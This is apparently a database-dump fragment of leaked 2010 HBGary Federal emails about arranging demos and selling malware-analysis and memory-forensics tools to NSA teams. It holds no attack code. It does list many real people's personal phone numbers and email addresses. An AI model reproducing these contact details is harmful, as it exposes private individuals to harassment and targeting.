April\r\n30.  I don\'t have the meeting time or place yet.\r\n\r\nHow did you like the class?\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\nSent: Thursday, April 22, 2010 6:55 AM\r\nTo: Bob Slapnik; Nathaniel I. Gray; \'Aaron Barr\'\r\nCc: Parkes, Harley (CORP)\r\nSubject: RE: Introductions related to your interest in HBGary REcon for\r\nmalware analysis\r\n\r\nBob,\r\n\r\nI talked to Phil Wallisch in class yesterday about this very same thing.\r\nAll three of us have the same use case, although NTOC may be more interested\r\nin performing the detailed analysis on a more regular basis.  We can discuss\r\nrequirements for this effort off-line.\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Tuesday, April 20, 2010 9:48 AM\r\nTo: Nathaniel I. Gray; \'Aaron Barr\'\r\nCc: Parkes, Harley (CORP); Scott K. Brown\r\nSubject: Introductions related to your interest in HBGary REcon for malware\r\nanalysis\r\n\r\nNathaniel and Aaron,\r\n\r\n \r\n\r\nThe purpose of this email is to introduce you to each other.  Nathaniel, you\r\nare interested in HBGary\'s REcon for high volume malware runtime analysis.\r\nAaron, you have been communicating with ANO and NTOC/V22 about the same\r\nsubject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\nvolume malware runtime analysis.\r\n\r\n \r\n\r\nTo simplify lines of communications I\'ve requested that Aaron Barr be the\r\npoint man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\norganization that focuses on Government services work, classified work and\r\nspecial projects.\r\n\r\n \r\n\r\nI will continue to be involved as the HBGary, Inc. representative.\r\n\r\n \r\n\r\nCONTACT INFO:\r\n\r\nNathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n/ngray@dewnet.ncsc.mil\r\n\r\nAaron Barr / 719-510-8478 / aaron@hbgary.com \r\n\r\n \r\n\r\nPlease let me know if you have any questions or need additional info.\r\n\r\n \r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n \r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n',257,'aaron_hbgary_com/257.html'),(5579,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004055.M137455P14101Q434.eml','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','Re: Good morning','Sure Don.\r\n\r\n\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 4:52 AM, Bailey, Don wrote:\r\n\r\n> Good morning Aaron.  Can you give me Penny’s phone number?  I was dicking around with my phone’s software last week trying to demonstrate a hack and inadvertently did a system hard reset and lost all my contacts (face/palm).  I need to ask her something about the investment stuff.\r\n>  \r\n> Thanks,\r\n>  \r\n> Don\r\n>  \r\n> Don Bailey\r\n> Blackbird Technologies, PDG\r\n> 703.345.1304 office\r\n> 703.582.1277 cell\r\n> dbailey@blackbirdtech.com\r\n>  \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14692,'aaron_hbgary_com/14692.html'),(5580,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004055.M390968P14101Q435.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Introductions related to your interest in HBGary REcon for malware analysis','Bob,\r\n\r\nI am going to call one of these guys today.  Should I call Nate or Scott?\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 6:03 AM, Bob Slapnik wrote:\r\n\r\n> Scott,\r\n> \r\n> Aaron expects there to be a briefing and demo at the Fort on Friday, April\r\n> 30.  I don\'t have the meeting time or place yet.\r\n> \r\n> How did you like the class?\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> -----Original Message-----\r\n> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\n> Sent: Thursday, April 22, 2010 6:55 AM\r\n> To: Bob Slapnik; Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP)\r\n> Subject: RE: Introductions related to your interest in HBGary REcon for\r\n> malware analysis\r\n> \r\n> Bob,\r\n> \r\n> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n> All three of us have the same use case, although NTOC may be more interested\r\n> in performing the detailed analysis on a more regular basis.  We can discuss\r\n> requirements for this effort off-line.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Tuesday, April 20, 2010 9:48 AM\r\n> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n> Subject: Introductions related to your interest in HBGary REcon for malware\r\n> analysis\r\n> \r\n> Nathaniel and Aaron,\r\n> \r\n> \r\n> \r\n> The purpose of this email is to introduce you to each other.  Nathaniel, you\r\n> are interested in HBGary\'s REcon for high volume malware runtime analysis.\r\n> Aaron, you have been communicating with ANO and NTOC/V22 about the same\r\n> subject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\n> volume malware runtime analysis.\r\n> \r\n> \r\n> \r\n> To simplify lines of communications I\'ve requested that Aaron Barr be the\r\n> point man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\n> organization that focuses on Government services work, classified work and\r\n> special projects.\r\n> \r\n> \r\n> \r\n> I will continue to be involved as the HBGary, Inc. representative.\r\n> \r\n> \r\n> \r\n> CONTACT INFO:\r\n> \r\n> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n> /ngray@dewnet.ncsc.mil\r\n> \r\n> Aaron Barr / 719-510-8478 / aaron@hbgary.com \r\n> \r\n> \r\n> \r\n> Please let me know if you have any questions or need additional info.\r\n> \r\n> \r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> \r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> \r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8935,'aaron_hbgary_com/8935.html'),(5581,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004055.M740664P14101Q436.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions related to your interest in HBGary REcon for malware analysis','Aaron,\r\n\r\nCall both of them.  BTW, he prefers Nathaniel, not Nate.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 9:47 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Introductions related to your interest in HBGary REcon for\r\nmalware analysis\r\n\r\nBob,\r\n\r\nI am going to call one of these guys today.  Should I call Nate or Scott?\r\n\r\nAaron\r\n\r\nOn Apr 22, 2010, at 6:03 AM, Bob Slapnik wrote:\r\n\r\n> Scott,\r\n> \r\n> Aaron expects there to be a briefing and demo at the Fort on Friday, April\r\n> 30.  I don\'t have the meeting time or place yet.\r\n> \r\n> How did you like the class?\r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> -----Original Message-----\r\n> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\n> Sent: Thursday, April 22, 2010 6:55 AM\r\n> To: Bob Slapnik; Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP)\r\n> Subject: RE: Introductions related to your interest in HBGary REcon for\r\n> malware analysis\r\n> \r\n> Bob,\r\n> \r\n> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n> All three of us have the same use case, although NTOC may be more\r\ninterested\r\n> in performing the detailed analysis on a more regular basis.  We can\r\ndiscuss\r\n> requirements for this effort off-line.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Tuesday, April 20, 2010 9:48 AM\r\n> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n> Subject: Introductions related to your interest in HBGary REcon for\r\nmalware\r\n> analysis\r\n> \r\n> Nathaniel and Aaron,\r\n> \r\n> \r\n> \r\n> The purpose of this email is to introduce you to each other.  Nathaniel,\r\nyou\r\n> are interested in HBGary\'s REcon for high volume malware runtime analysis.\r\n> Aaron, you have been communicating with ANO and NTOC/V22 about the same\r\n> subject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\n> volume malware runtime analysis.\r\n> \r\n> \r\n> \r\n> To simplify lines of communications I\'ve requested that Aaron Barr be the\r\n> point man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\n> organization that focuses on Government services work, classified work and\r\n> special projects.\r\n> \r\n> \r\n> \r\n> I will continue to be involved as the HBGary, Inc. representative.\r\n> \r\n> \r\n> \r\n> CONTACT INFO:\r\n> \r\n> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n> /ngray@dewnet.ncsc.mil\r\n> \r\n> Aaron Barr / 719-510-8478 / aaron@hbgary.com \r\n> \r\n> \r\n> \r\n> Please let me know if you have any questions or need additional info.\r\n> \r\n> \r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> \r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> \r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n',4391,'aaron_hbgary_com/4391.html'),(5582,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004056.M300626P14101Q438.eml','\"Aaron Barr\" <aaron@hbgary.com>','More NSA contacts','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nTony Sager / Deputy Chief, Defensive Information Operations\r\n(might be an old title) / 410-854-7087 / t.sager@radium.ncsc.mil\r\n\r\n&nbsp;\r\n\r\nLt Col Joseph Wolfkiel / Director, Computer Network Defense\r\nResearch &amp; Technology Program / (410) 854-5401 / j.wolfki@radium.ncsc.mil\r\n\r\n&nbsp;\r\n\r\nI had dialogue with Sager in\r\n2006.&nbsp; He expressed interest in Inspector (early predecessor of\r\nResponder). He hooked me up with Bob Nissen.&nbsp; At that time he mentioned Curt\r\nDukes (c.dukes@radium.ncsc.mil) and Craig Hasson (cahasso@missi.ncsc.mil) of\r\nthe Software Assurance office might have interest.&nbsp; (Looks like I never\r\nhad dialogue with these two.)\r\n\r\n&nbsp;\r\n\r\nAn executive from Symantec, Ned\r\nMiller, who Penny and I have been dealing with told Penny that Lt Col Joseph\r\nWolfkiel reports to Tony Sager.&nbsp; \r\n\r\n&nbsp;\r\n\r\nRich and I gave a presentation to a group last summer where\r\nWolfkiel attended.&nbsp; I got the sense he has a lot of influence. I didn&#8217;t\r\nrealize I had his contact info.&nbsp; In any case, I&#8217;d like you to be my\r\npoint man for having classified conversations and making things happen.&nbsp;\r\nTo be successful HBGary has to use resellers, and I can&#8217;t think of a\r\nbetter reseller than you at HBGary Federal.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12236,'aaron_hbgary_com/12236.html'),(5583,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004056.M533643P14101Q439.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: Introductions related to your interest in HBGary REcon for malware analysis','Hi Scott,\r\n\r\nIs there a good time to give you a call about the Demo next week and the TMC?\r\n\r\nAaron\r\n\r\n\r\nOn Apr 22, 2010, at 3:54 AM, Scott K. Brown wrote:\r\n\r\n> Bob,\r\n> \r\n> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n> All three of us have the same use case, although NTOC may be more interested\r\n> in performing the detailed analysis on a more regular basis.  We can discuss\r\n> requirements for this effort off-line.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Tuesday, April 20, 2010 9:48 AM\r\n> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n> Subject: Introductions related to your interest in HBGary REcon for malware\r\n> analysis\r\n> \r\n> Nathaniel and Aaron,\r\n> \r\n> \r\n> \r\n> The purpose of this email is to introduce you to each other.  Nathaniel, you\r\n> are interested in HBGary\'s REcon for high volume malware runtime analysis.\r\n> Aaron, you have been communicating with ANO and NTOC/V22 about the same\r\n> subject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\n> volume malware runtime analysis.\r\n> \r\n> \r\n> \r\n> To simplify lines of communications I\'ve requested that Aaron Barr be the\r\n> point man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\n> organization that focuses on Government services work, classified work and\r\n> special projects.\r\n> \r\n> \r\n> \r\n> I will continue to be involved as the HBGary, Inc. representative.\r\n> \r\n> \r\n> \r\n> CONTACT INFO:\r\n> \r\n> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n> /ngray@dewnet.ncsc.mil\r\n> \r\n> Aaron Barr / 719-510-8478 / aaron@hbgary.com \r\n> \r\n> \r\n> \r\n> Please let me know if you have any questions or need additional info.\r\n> \r\n> \r\n> \r\n> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n> \r\n> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n> \r\n> www.hbgary.com  |  bob@hbgary.com\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9124,'aaron_hbgary_com/9124.html'),(5584,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004056.M70925P14101Q437.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Introductions related to your interest in HBGary REcon for malware analysis','ok.  Does Scott work for Nathaniel?\r\n\r\n\r\nOn Apr 22, 2010, at 6:49 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> Call both of them.  BTW, he prefers Nathaniel, not Nate.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 9:47 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Introductions related to your interest in HBGary REcon for\r\n> malware analysis\r\n> \r\n> Bob,\r\n> \r\n> I am going to call one of these guys today.  Should I call Nate or Scott?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 22, 2010, at 6:03 AM, Bob Slapnik wrote:\r\n> \r\n>> Scott,\r\n>> \r\n>> Aaron expects there to be a briefing and demo at the Fort on Friday, April\r\n>> 30.  I don\'t have the meeting time or place yet.\r\n>> \r\n>> How did you like the class?\r\n>> \r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\n>> Sent: Thursday, April 22, 2010 6:55 AM\r\n>> To: Bob Slapnik; Nathaniel I. Gray; \'Aaron Barr\'\r\n>> Cc: Parkes, Harley (CORP)\r\n>> Subject: RE: Introductions related to your interest in HBGary REcon for\r\n>> malware analysis\r\n>> \r\n>> Bob,\r\n>> \r\n>> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n>> All three of us have the same use case, although NTOC may be more\r\n> interested\r\n>> in performing the detailed analysis on a more regular basis.  We can\r\n> discuss\r\n>> requirements for this effort off-line.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Scott K. Brown\r\n>> Technical Director\r\n>> NSA Blue Team\r\n>> (410) 854-6529\r\n>> sbrown@dewnet.ncsc.mil\r\n>> \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n>> Sent: Tuesday, April 20, 2010 9:48 AM\r\n>> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n>> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n>> Subject: Introductions related to your interest in HBGary REcon for\r\n> malware\r\n>> analysis\r\n>> \r\n>> Nathaniel and Aaron,\r\n>> \r\n>> \r\n>> \r\n>> The purpose of this email is to introduce you to each other.  Nathaniel,\r\n> you\r\n>> are interested in HBGary\'s REcon for high volume malware runtime analysis.\r\n>> Aaron, you have been communicating with ANO and NTOC/V22 about the same\r\n>> subject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\n>> volume malware runtime analysis.\r\n>> \r\n>> \r\n>> \r\n>> To simplify lines of communications I\'ve requested that Aaron Barr be the\r\n>> point man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\n>> organization that focuses on Government services work, classified work and\r\n>> special projects.\r\n>> \r\n>> \r\n>> \r\n>> I will continue to be involved as the HBGary, Inc. representative.\r\n>> \r\n>> \r\n>> \r\n>> CONTACT INFO:\r\n>> \r\n>> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n>> /ngray@dewnet.ncsc.mil\r\n>> \r\n>> Aaron Barr / 719-510-8478 / aaron@hbgary.com \r\n>> \r\n>> \r\n>> \r\n>> Please let me know if you have any questions or need additional info.\r\n>> \r\n>> \r\n>> \r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>> \r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>> \r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n>> 02:31:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15317,'aaron_hbgary_com/15317.html'),(5585,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004056.M780452P14101Q440.eml','\"David P. Luber\" <dpluber@nsa.gov>','Responder/TMC','Hi Dave,\r\n\r\nI wanted to see how the eval was coming of Responder.  Also wanted to let you know I met with Matt Bodman from V22 last week.  They and the Blue Team folks are very interested in TMC.  We are coming out again next Friday for a demo of Responder/REcon and to discuss how the TMC might be implemented in the NTOC.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',1259,'aaron_hbgary_com/1259.html'),(5586,'2010-04-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004056.M995203P14101Q441.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions related to your interest in HBGary REcon for malware analysis','No, Nathaniel works for Scott.  Scott is the manager of the Blue Team.\r\nNathaniel is the subject matter expert for the TMC project.  Harley Parkes\r\n(a good guy) is two levels above Scott.\r\n\r\nThe Blue Team has 4-5 copies of Responder + DDNA.  They are about to give me\r\na purchase order for $50k to pilot DDNA to be integrated with their\r\nhomegrown BlueScope software. The Blue Team visits various DoD agencies to\r\nlook for indicators of compromise.  BlueScope is the enterprise framework\r\ntool they use to examine the hard drives and networks.  They have no\r\nvisibility into RAM which is why they want to integrate our modular DDNA\r\nendpoint software into BlueScope (much like we integrated with McAfee or\r\nGuidance).  Scott attended the Responder training this week.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 9:51 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Introductions related to your interest in HBGary REcon for\r\nmalware analysis\r\n\r\nok.  Does Scott work for Nathaniel?\r\n\r\n\r\nOn Apr 22, 2010, at 6:49 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> Call both of them.  BTW, he prefers Nathaniel, not Nate.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 22, 2010 9:47 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Introductions related to your interest in HBGary REcon for\r\n> malware analysis\r\n> \r\n> Bob,\r\n> \r\n> I am going to call one of these guys today.  Should I call Nate or Scott?\r\n> \r\n> Aaron\r\n> \r\n> On Apr 22, 2010, at 6:03 AM, Bob Slapnik wrote:\r\n> \r\n>> Scott,\r\n>> \r\n>> Aaron expects there to be a briefing and demo at the Fort on Friday,\r\nApril\r\n>> 30.  I don\'t have the meeting time or place yet.\r\n>> \r\n>> How did you like the class?\r\n>> \r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>> \r\n>> -----Original Message-----\r\n>> From: Scott K. Brown [mailto:sbrown@dewnet.ncsc.mil] \r\n>> Sent: Thursday, April 22, 2010 6:55 AM\r\n>> To: Bob Slapnik; Nathaniel I. Gray; \'Aaron Barr\'\r\n>> Cc: Parkes, Harley (CORP)\r\n>> Subject: RE: Introductions related to your interest in HBGary REcon for\r\n>> malware analysis\r\n>> \r\n>> Bob,\r\n>> \r\n>> I talked to Phil Wallisch in class yesterday about this very same thing.\r\n>> All three of us have the same use case, although NTOC may be more\r\n> interested\r\n>> in performing the detailed analysis on a more regular basis.  We can\r\n> discuss\r\n>> requirements for this effort off-line.\r\n>> \r\n>> Thanks,\r\n>> \r\n>> Scott K. Brown\r\n>> Technical Director\r\n>> NSA Blue Team\r\n>> (410) 854-6529\r\n>> sbrown@dewnet.ncsc.mil\r\n>> \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n>> Sent: Tuesday, April 20, 2010 9:48 AM\r\n>> To: Nathaniel I. Gray; \'Aaron Barr\'\r\n>> Cc: Parkes, Harley (CORP); Scott K. Brown\r\n>> Subject: Introductions related to your interest in HBGary REcon for\r\n> malware\r\n>> analysis\r\n>> \r\n>> Nathaniel and Aaron,\r\n>> \r\n>> \r\n>> \r\n>> The purpose of this email is to introduce you to each other.  Nathaniel,\r\n> you\r\n>> are interested in HBGary\'s REcon for high volume malware runtime\r\nanalysis.\r\n>> Aaron, you have been communicating with ANO and NTOC/V22 about the same\r\n>> subject.  So, there are 3 NSA organizations interested in HBGary\'s high\r\n>> volume malware runtime analysis.\r\n>> \r\n>> \r\n>> \r\n>> To simplify lines of communications I\'ve requested that Aaron Barr be the\r\n>> point man from our side.  Aaron is the CEO of HBGary Federal, a sister\r\n>> organization that focuses on Government services work, classified work\r\nand\r\n>> special projects.\r\n>> \r\n>> \r\n>> \r\n>> I will continue to be involved as the HBGary, Inc. representative.\r\n>> \r\n>> \r\n>> \r\n>> CONTACT INFO:\r\n>> \r\n>> Nathaniel Gray / (410) 854-9014 / Mobile (206) 491-2255\r\n>> /ngray@dewnet.ncsc.mil\r\n>> \r\n>> Aaron Barr / 719-510-8478 / aaron@hbgary.com \r\n>> \r\n>> \r\n>> \r\n>> Please let me know if you have any questions or need additional info.\r\n>> \r\n>> \r\n>> \r\n>> Bob Slapnik  |  Vice President  |  HBGary, Inc.\r\n>> \r\n>> Office 301-652-8885 x104  | Mobile 240-481-1419\r\n>> \r\n>> www.hbgary.com  |  bob@hbgary.com\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n>> 02:31:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n> 02:31:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2827 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n',12740,'aaron_hbgary_com/12740.html'),(5587,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004057.M214852P14101Q442.eml','\"Chris Rouland\" <chris@endgames.us>','Update','Hi Chris,\r\n\r\nI know you have had some changes recently.  A few things.  I would like to approach Dino for some consulting work for IR and malware work, I wanted to see if you have any issues with that (not sure about employment agreement, etc).  Also, we are getting some traction up at the NTOC and looks like its a good chance we will put our Threat Management Center there.  At some point if that does get deployed I would like to talk to them about expanding the work performed to include other data like EGS.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16348,'aaron_hbgary_com/16348.html'),(5588,'2010-04-22','\"Christa Salaz\" <christa.salaz@ngc.com>','/aaron@hbgary.com/new/1297004057.M433073P14101Q443.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Christa Salaz has indicated you are a Colleague at Northrop Grumman:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Christa Salaz\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Christa Salaz\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH CHRISTA SALAZ BE A GOOD IDEA?\r\n  Have a question? Christa Salaz\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Christa Salaz and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',16739,'aaron_hbgary_com/16739.html'),(5589,'2010-04-22','\"Kitchen, Torri E (TASC)\" <Torri.Kitchen@TASC.COM>','/aaron@hbgary.com/new/1297004063.M850811P14101Q444.eml','aaron@hbgary.com,aaron@hbgary.com','Signed NDA - COIN','\r\n\r\n\r\n\r\n\r\nSigned NDA - COIN\r\n\r\n\r\n\r\n\r\nGood morning Aaron, \r\n\r\n\r\n\r\nAttached is a fully executed copy of the NDA for your records. \r\n\r\nRegards, \r\n\r\n &lt;&lt;Signed NDA_COIN.pdf&gt;&gt; \r\n\r\nTorri Kitchen \r\n\r\nSubcontract Administrator\r\nTASC, Inc.\r\n4803 Stonecroft Blvd.\r\nChantilly, VA 20151\r\nPH: 703-449-3726\r\n\r\nFax: 978-684-7632\r\n\r\n\r\n\r\n\r\n\r\nPROPRIETARY INFORMATION\r\n\r\nThis e-mail, including attachments, may include confidential and/or proprietary information, to TASC, Inc. and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4305,'aaron_hbgary_com/4305.html'),(5590,'2010-04-22','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004064.M458950P14101Q445.eml','aaron@hbgary.com','Apollo 11\'s Neil Armstrong Breaks Silence on Space Program','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n 